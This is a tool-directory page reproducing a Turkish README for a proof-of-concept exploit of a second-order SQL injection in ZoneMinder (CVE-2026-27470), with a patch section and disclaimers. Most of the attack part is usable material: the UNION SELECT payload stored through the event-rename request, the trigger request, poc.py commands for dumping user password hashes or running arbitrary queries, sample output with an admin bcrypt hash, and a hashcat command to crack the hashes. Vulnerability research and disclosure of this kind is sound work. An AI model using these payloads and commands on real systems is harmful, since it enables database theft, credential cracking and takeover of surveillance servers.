Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27470 — 针对 ZoneMinder 中二阶 SQL 注入(CVE-2026-27470)的概念验证漏洞利用。演示经过身份验证的数据提取,包括用户凭据,并提供自定义查询和哈希转储选项。 | Kitploit
工具/GitHubGitHub/kocaemre/cve-2026-27470
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkocaemre/cve-2026-27470

CVE-2026-27470

针对 ZoneMinder 中二阶 SQL 注入(CVE-2026-27470)的概念验证漏洞利用。演示经过身份验证的数据提取,包括用户凭据,并提供自定义查询和哈希转储选项。

查看仓库
626个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ YASAL UYARI / LEGAL DISCLAIMER

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

Bu araç yalnızca eğitim amaçlı ve yetkili güvenlik araştırmaları için sağlanmıştır. Sahibi olmadığınız veya test etmek için açık yazılı izniniz bulunmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, CFAA (ABD), Computer Misuse Act (Birleşik Krallık) ve dünya genelindeki eşdeğer yasaları ihlal edebilir. Yazar, bu aracın herhangi bir şekilde kötüye kullanılmasından doğacak hiçbir sorumluluk kabul etmez.


CVE-2026-27470 — ZoneMinder İkinci Derece SQL Enjeksiyonu

CVE CVSS Affected Fixed

ZoneMinder'daki bir ikinci derece SQL enjeksiyonu güvenlik açığı için kavram kanıtı istismar aracı. Events düzenleme ve görüntüleme izinlerine sahip kimliği doğrulanmış bir kullanıcı, veritabanından tüm kullanıcı kimlik bilgileri dahil olmak üzere rastgele verileri çıkarabilir.


Genel Bakış


Güvenlik Açığı Ayrıntıları

İkinci Derece Deseni

Bu, klasik bir ikinci derece (depolanmış) SQL enjeksiyonudur. Saldırı iki ayrı aşamada gerçekleşir; bu nedenle geleneksel tarayıcılar bunu genellikle gözden kaçırır.

Aşama 1 — Güvenli Yazma

Saldırgan, kötü amaçlı bir yük ile bir etkinliği yeniden adlandırır. ZoneMinder burada parametreli bir sorgu kullandığından, yük herhangi bir hata tetiklemeden veritabanında güvenli bir şekilde saklanır:

root@kitploit:~
POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
root@kitploit:~
// web/ajax/event.php — güvenli ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

Bu noktada her şey temiz görünür. Yük, Events.Name sütununda sessizce beklemektedir.

Aşama 2 — Güvenlik Açığı İçeren Okuma

Saldırgan, aynı etkinlik kaydı için yakın etkinlikleri isteyerek getNearEvents() işlevini tetikler. İşlev, saklanan Name değerini veritabanından geri okur ve herhangi bir kaçış işlemi yapmadan doğrudan yeni bir SQL sorgusuna birleştirir:

root@kitploit:~
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
root@kitploit:~
// web/ajax/status.php ~satır 460 — GÜVENLİK AÇIĞI ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← enjeksiyon noktası
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

Saklanan yük, dize bağlamından çıkar ve enjekte edilen UNION SELECT çalışarak verileri JSON yanıtındaki NextEventId alanına sızdırır:

root@kitploit:~
{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Neden Tehlikeli

Geliştirici çok yaygın bir hata yapmıştır: kullanıcı girdisini yazma sırasında doğru şekilde temizlemiş ve bu da yanlış bir güvenlik hissi yaratmıştır. "Kendi veritabanımızdan gelen veriler güvenlidir" varsayımı, güvenlik açığının yıllarca okuma yolunda var olmasına izin vermiştir. WAF'ler ve çoğu otomatik tarayıcı bunu yakalayamaz çünkü yazma isteği tamamen temiz görünür.


Kullanım

Gereksinimler

root@kitploit:~
pip install requests

Seçenekler

root@kitploit:~
-t, --target      Hedef URL (örn. http://10.10.10.10:8080)
-u, --username    ZoneMinder kullanıcı adı
-p, --password    ZoneMinder parolası
--event-id        Enjeksiyon taşıyıcısı olarak kullanılacak etkinlik kimliği
--query           Çalıştırılacak özel SQL sorgusu
--dump-users      Tüm kullanıcı adlarını ve parola karmalarını dök
--field           Enjeksiyon alanı: Name (varsayılan) veya Cause
--no-restore      İstismar sonrası etkinlik adını geri yükleme

Örnekler

root@kitploit:~
# Veritabanı sürümünü kontrol et (en basit test)
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Tüm kullanıcıları ve parola karmalarını dök
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --dump-users

# Name yerine Cause alanı üzerinden enjekte et
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Özel sorgu
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Çıktı

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder İkinci Derece SQLi PoC    ║
║   CVSS 8.8 | Kimlik Doğrulamalı | Events İzni           ║
╚══════════════════════════════════════════════════════════╝

[*] Hedef     : http://10.10.10.10:8080
[*] Giriş yapılıyor...
[+] Oturum kuruldu.
[+] Etkinlik Kimliği (manuel): 1
[*] Yük enjekte ediliyor (Name alanı)...
[+] Yük parametreli sorgu ile saklandı — veritabanında temiz görünüyor.
[*] İkinci derece enjeksiyon tetikleniyor...
[*] HTTP 200
[*] Etkinlik adı geri yüklendi.

[+] Kullanıcı sayısı: 2

[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 0,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 0,1
[+] Kullanıcı 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 1,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 1,1
[+] Kullanıcı 2: operator:$2b$12$xK8s...

Saldırı Akışı

root@kitploit:~
Saldırgan                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<YÜK>  ──────►     │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parametreli — güvenli)     │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<YÜK>' ───────────│
   │                               │                              │
   │                               │  SQL dizesi oluşturur:       │
   │                               │  WHERE Name >= '<YÜK>'       │
   │                               │  (kaçış yok!)                │
   │                               │  UNION SELECT çalışır ────►  │
   │                               │◄── kimlik bilgileri ─────────│
   │◄── Sızdırılan verilerle JSON ─│                              │

Etki

  • Gizlilik: Tam veritabanı okuma — tüm kullanıcı karmaları, API anahtarları, monitör yapılandırmaları, sistem ayarları
  • Bütünlük: Veritabanı sürücü yapılandırmasına bağlı olarak, yığılmış sorgular veri değişikliğine izin verebilir
  • Ayrıcalık Yükseltme: Admin bcrypt karmasını çevrimdışı kırın ve ZoneMinder'a tam erişim elde edin
root@kitploit:~
# Toplanan karmaları hashcat ile kır
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Notlar

  • Events.Name veritabanında varchar(64) türündedir — enjeksiyon yüklerini 63 karakterin altında tutun
  • Enjeksiyon sonucu JSON yanıtında nearevents.NextEventId alanında görünür
  • ZoneMinder parola karmalama için bcrypt kullanır (hashcat için mod 3200)
  • CSRF koruması PoC tarafından otomatik olarak ele alınır

Düzeltme

ZoneMinder'ı 1.36.38 veya 1.38.1 sürümüne güncelleyin.

Düzeltme, dize birleştirme yerine saklanan değer için parametreli bir sorgu yer tutucusu kullanmaktır:

root@kitploit:~
// Önce (güvenlik açığı olan)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// Sonra (düzeltilmiş)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);

Referanslar

  • GitHub Güvenlik Danışmanlığı GHSA-r6gm-478g-f2c4
  • ZoneMinder 1.36.38 Sürümü
  • ZoneMinder 1.38.1 Sürümü

Sorumluluk Reddi

Bu araç yalnızca eğitim amaçlı ve yetkili güvenlik araştırmaları içindir.
Sahibi olmadığınız veya test etmek için açık yazılı izniniz bulunmayan sistemlere karşı kullanmayın.

下载工具
AlanAyrıntılar
CVE KimliğiCVE-2026-27470
Önem DüzeyiYÜKSEK — CVSS 8.8
VektörAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Etkilenen SürümlerZoneMinder ≤ 1.36.37 ve 1.37.61 – 1.38.0
Düzeltilen Sürüm1.36.38 / 1.38.1
Dosyaweb/ajax/status.php → getNearEvents()
CWECWE-89: SQL Komutlarının Hatalı Nötrleştirilmesi
Kimlik Doğrulama GerekliEvet — Events düzenleme + görüntüleme izni